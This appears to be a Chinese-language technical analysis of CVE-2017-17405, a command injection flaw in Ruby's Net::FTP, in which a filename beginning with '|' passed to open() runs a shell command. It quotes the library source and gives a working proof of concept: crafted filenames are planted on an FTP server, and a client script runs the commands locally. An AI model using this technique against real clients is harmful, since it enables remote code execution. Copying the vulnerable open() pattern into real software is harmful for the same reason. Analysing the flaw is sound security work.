CVE-2017-17405(Ruby Net::FTP 存在命令注入)分析

Table of Contents

1. 简述

Net::FTP 模块中 get、getbinaryfile、gettextfile、put、putbinaryfile 和 puttextfile 函数允许指定 localfile 参数,该参数最终会传递到 open 函数,如果传递给 open 函数的文件名参数是以“|”开头,Ruby 会打开一个管道句柄并执行后面的命令。

2. 漏洞分析

运行这段代码,Ruby 会执行系统的 who 命令:

f = open("|who", "r")
puts f.read

执行输出:

$ ruby test.rb
lu4nx    tty2         2017-12-18 10:13 (:0)

我们看 Ruby 的 Net::FTP 的 get 函数实现:

def get(remotefile, localfile = File.basename(remotefile),
        blocksize = DEFAULT_BLOCKSIZE, &block) # :yield: data
  if @binary
    getbinaryfile(remotefile, localfile, blocksize, &block)
  else
    gettextfile(remotefile, localfile, &block)
  end
end

localfile 默认是取的远程文件 basename,并最终传递到 getbinaryfile 或 gettextfile 函数中。gettextfile 的实现代码:

def gettextfile(remotefile, localfile = File.basename(remotefile)) # :yield: line
  result = nil
  if localfile
    f = open(localfile, "w")
  elsif !block_given?
    result = ""
  end
  begin
    retrlines("RETR " + remotefile) do |line, newline|
      l = newline ? line + "\n" : line
      f.print(l) if localfile
      yield(line, newline) if block_given?
      result.concat(l) if result
    end
    return result
  ensure
    f.close if localfile
  end
end

localfile 传递到 gettextfile 中后,带入了 open 函数中。

如果远程 FTP 服务器中构造特殊文件名的文件,就可能导致使用 Net::FTP 模块的客户端执行命令。

3. 漏洞测试

一台 FTP 服务器中,我放了两个文件特殊文件名的文件:

# touch \|hostname
# touch \|w
# ls
|hostname  |w

漏洞测试代码:

require 'net/ftp'

ftp = Net::FTP.new()
ftp.connect("192.168.111.199")
ftp.login(user="anonymous")

ftp.ls() do |line|
  line = line.split
  filename = line[8]
  ftp.get(filename)
end

运行结果:

$ ruby test.rb
lx-test-pc
 17:30:11 up  7:16,  1 user,  load average: 0.54, 0.53, 0.68
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
lu4nx    tty2      10:13    7:16m  7:10   9.02s i3

可见调用 get 函数后,特殊的文件名导致了本地执行了 w 和 hostname 两个命令。